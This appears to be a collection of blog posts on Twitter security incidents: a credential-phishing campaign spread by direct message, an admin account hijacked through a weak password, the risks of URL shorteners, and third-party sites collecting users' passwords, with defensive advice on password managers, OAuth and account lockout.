Once a user clicked on the bogus link, entered in their Twitter credentials…their Twitter account was compromised and automatically used to send DM’s (direct messages) to others the compromised user was following. Twitter quickly reacted and worked with blogspot and others to shut down the redirect. However, the web site that hosts the fake Twitter sign-on page is still active and is even being used to phish Facebook users! Why is this not shutdown? Long story but the site is hosted in China and that presents a whole host of issues to get the site taken down. The good news is that if you try to go to the URL in Firefox or Safari the phishing filter kicks in and stops you from going there. I haven’t tested IE 7…and neither should you.

On a side note, I agree that OAuth (or something like FriendFeed’s Remote Key) should be implemented as part of an overall security strategy for Twitter but would not prevent traditional phishing attempts like this from happening (some others share this opinion as well). OAuth is good for authenticating third-party applications (like Twillow or Twitterfeed) that require your Twitter credentials to access your account and do things on your behalf. Lot’s of discussion going on the blogs about this and I’m sure it will continue.

Links that have good information about the Twitter phish: Twitter’s Blog, Naivete: Web 2.0′s biggest security threat and an article over at Twitter Truth

#2 Twitter gets Hacked
This was not related to the phishing incident. Pure weird coincidence that this happened right after users started to figure out what happened with the phishing issue. Ironically, many of us on Twitter (including myself) thought that this was related to phishing after we saw @foxnews get owned but once Britney Spears, Obama and others started showing up with strange tweets many of us knew there was something else going on.

Basically, an 18 year old who wanted to “pen-test Twitter” decided to build a Twitter brute force application that would try common dictionary words against at specific Twitter account. One problem with the current Twitter security model is that there is no lockout policy, meaning, you can try as many failed passwords as you like until you get lucky with the correct password. This guy found one of the accounts used by the Twitter support people (Crystal) and brute forced the password using his tool. Password of “happiness” was found and he was in! There was a password reset feature in the administrative panel that allowed him to reset the password and change the email address of any Twitter account. He didn’t use the accounts himself, rather…he posted that he had access to 33 accounts and gave access to others in a hacker forum that requested the accounts. You can read more about this in the Wired article below as well as see the YouTube video that the hacker put up to prove he did the hack.

Weak Password Brings ‘Happiness’ to Twitter Hacker

How does Twitter get fixed?
Security is always about compromise and with Twitter in particular there has to be a balance between usability and secure features. I was a guest on the SecuraByte podcast the other night talking about the recent Twitter security issues as well as how to secure social media in general. We came to the conclusion that there is no good answer. However, we all agreed that there has to be a mix between technical and non-technical solutions. The technical being better forms of authentication and basic web application security controls (account lockout, email verification..as examples) for starters. On the non-technical side there has to be more basic security education (setting unique hard to guess passwords as an example) focused on the users of social media through lots of different means. There is no good answer to these problems and there are many different opinions but hopefully we can all come to some common ground so we can all make social media more secure for everyone.

Here are a few good links with things that Twitter should consider when re-evaluating the current model:

Ten Security Measures for Social Networking sites – ThreatChaos
Twitter and the Password Anti-Pattern – FactoryCity
The inevitable rise (and fall?) of “twishing” – Jennifer Leggio ZDnet (guest post by Damon Cortesi)

I think we can all agree that Twitter needs to do something soon as the current security model is not sustainable for very much longer.

What are your thoughts on the recent Twitter security issues and social media security in general? How do you think we can we make social media more secure?

You will get a DM (direct message) in your email from a user with the following message:

hey! check out this funny blog about you…
hxxp://jannawalitax.blogspot.com

If you click on blogspot link this is basically a redirect to the following fake Twitter site:

Looks just like an identical copy of the real Twitter site except for the URL! (don’t go to this URL…)

About an hour after this started going around Twitter it looked like Firefox 3 picked up that this was a reported phishing site and you now get the following message:

Looks like Twitter and others moved quickly to get the redirect shut down. If ignore the Firefox warning to the blogspot page you get this:

However, the phishing site is still active and will probably be for awhile. Do not enter in any login credentials at any site other then twitter.com. The fake site in this case is twitter.access-logins.com/login. Note that if you take off the “login” at the end of the URL you are sent to a fake Facebook login page! Looks like these guys have been doing this for quite some time.

One interesting note about this attack…how does someone send you a DM without you following them? There was an interesting hack that is documented here that used to work, however…Twitter fixed this a few months ago. My only guess is that multiple hacked accounts were used to send legitimate DM’s. I’m not 100% sure how DM’s are being propagated in this case but it should be interesting to find out how the attack started in the coming days.

Kudos to the Twitter team and all the Twitter users that retweeted and got to word out. This alone hopefully mitigated much of the threat. I even saw in the Twitter web client that @twitter posted a warning message on the page about the threat. Great work Twitter team!

What if you gave your credentials away to this site?
Change your password immediately! Also, do you use this same password for Facebook, Myspace, email and other sites? Change those as well! Give a password manager like 1password or KeePass (KeePass is free BTW) a try to set unique passwords for every site/application you use. That way if your Twitter account did get compromised, your other accounts are safe. See this post for more information.

There was a good post over at ThreatChaos the other day about a new Firefox extension which will automatically show you the real URL’s of shortened URL’s. What is URL shortening? For example…this long URL:

http://www.google.com/maps?f=q&hl=en&geocode=&q=washington+dc&sll=37.0625,-95.677068&sspn=33.764224,56.25&ie=UTF8&ll=38.905996,-77.023773&spn=0.25915,0.439453&z=11&g=washington+dc&iwloc=addr

becomes…

http://tinyurl.com/9lum95

By using a service like Tinyurl or one of the many other sites available you can easily shorten a URL so your friends don’t freak when you send them long links. When it comes to Twitter it becomes almost mandatory that you shorten that long URL to meet the 140 character limit in your tweets.

What’s the problem?
Getting people to click on a malicious link just got easier with these services. Sure, people will still click on strange URL’s without a mask (even manually typing in strange URL’s as I showed in this post), however, by masking *any* URL with these services a phishing or malware attack can be even more successful.

Also, how can you *easily* see what the real site is behind one of these short URL’s? TinyURL and others offer you a service to “preview” URL’s but many sites don’t offer this and who is actually going to attempt to manually verify what is behind those links? That’s way too much work.

Another problem is that some of these short URL services allow you to obfuscate an already short URL with another short URL. Take for example Xrl.in. The TinyURL above (http://tinyurl.com/9lum95) becomes http://xrl.in/1b0i. This throws off the preview feature of many sites like this. This problem could add multiple redirects and levels of obfuscation to malicious links. All it takes is the right combination of short URL sites.

Right before I was about to post this I saw a post by Jennifer Leggio over at ZDNet regarding the URL redirection issue. She mentions that FriendFeed has implemented a feature that reveals short URL’s if you hover your mouse over the links. This is great…for FriendFeed, what about other more popular social media sites? Check out her article for a good overview of the issue and some interesting information about what other social media sites are doing and not doing about this problem.

The “Long URL Please” Solution
While not 100% perfect this a great start and it looks like the developer is working on improving the Firefox extension and API. You can even use it with other web browsers besides Firefox with a bookmarklet available on his site. Simply click on the bookmarklet and it will transform all the short URL’s on the web page currently loaded.

The Long URL Please Firefox extension will automatically show you the true URL of 30 supported short URL site’s. No hovering over a link or clicking to a site to preview it. It just shows you the link…no extra work on your part. This works great for the Twitter web client as well as any web page that has a link from one of the 30 supported services. One problem I saw was that short URL sites like xrl.in and others will keep popping up (I listed a site above that links 70 of these services). It’s going to take some work from the developer side to keep up with all of these new services. In addition, this doesn’t help with Twitter applications like ones that are Adobe Air based or developed using another type of framework. However, it looks like the developer is working on it and he is trying to get other applications to integrate to his API. Either way, check out this great extension and follow the developer on Twitter to get news on improvements. I look forward to see how this type of extension will evolve.

Short URL’s won’t be going anywhere soon…lets hope social media applications and end users start using them with a little bit security in mind.

What solutions do you think could solve the short URL problem?

Take for example a recent find called Twellow which is basically a big directory of Twitter users (like the yellow pages). Twellow has some neat features like searching for other Twitter users by keywords and interests. Twellow like many of these types of Twitter applications work by scraping public timelines to populate their site with your information. Twellow asks you to “claim” your profile by putting in your Twitter password. This is where it gets interesting…

To the unsuspecting user it’s tempting to just give your credentials away to every website that asks for it. Twellow is a good looking, legitimate website right? Did you stop to think what could happen to your login credentials? Can you really trust that they don’t record your credentials? The disclaimer says they don’t use your password for anything…you trust everyone right?

What’s your Twitterank?
If you are a heavy Twitter user you may remember the Twitterank fiasco about a month ago. Like many people on Twitter just hearing of a website that will calculate your “rank” on Twitter sounded like a cool idea. No harm in this right? Rumors quickly spread on Twitter and in the blogosphere that Twitterank was a phishing site and that the developer was harvesting Twitter accounts. It ended up that this was most likely a legitimate application…BUT…why do you trust it? Why as social media users do we blatantly trust every Twitter or social media developer out there? No offense to the developer of Twitterank but there are way too many of these sites out there that ask for your account information. A real Twitter phishing site is easy to do using these same tactics. All you need is a legitimate looking website that preys on human weakness…we all want more followers and more rankage, right? For example, if you want to see a spoof Twitter phishing site, check out Twitter Phisher done by the fine folks over at Hak5 (be sure to view source in your browser for some extra lolz).

What’s the fix?
First, social media users need more education. Seriously, don’t just give your credentials away to anyone that asks for it (this actually applies to everything in life). Is your Twitter ranking really that important?

If you did give your credentials away, hopefully you used a different and unique password for that particular account. That way, if your account did get compromised then only one account is compromised, not your entire portfolio of accounts. How do you manage multiple passwords? Give a password manager like 1password or KeePass a try to create and manage unique passwords for each of your social media accounts.

Secondly, social media websites like Twitter need to use better forms of authentication. How about something similar to what FriendFeed is doing by issuing users a “remote key” for all third-party interactions with your account. Of course this isn’t perfect but it’s a step in the right direction. I applaud FriendFeed for having the remote key functionality a required part of the API. BTW, Twitter has been talking about using nifty solutions like OAuth, so do it already @Twitter! HTTP Basic Authentication just doesn’t cut it.

Authentication of user credentials and social media is a big problem…(actually verifying who you say you are is a another topic altogether). What authentication solutions for social media do you think should be adopted?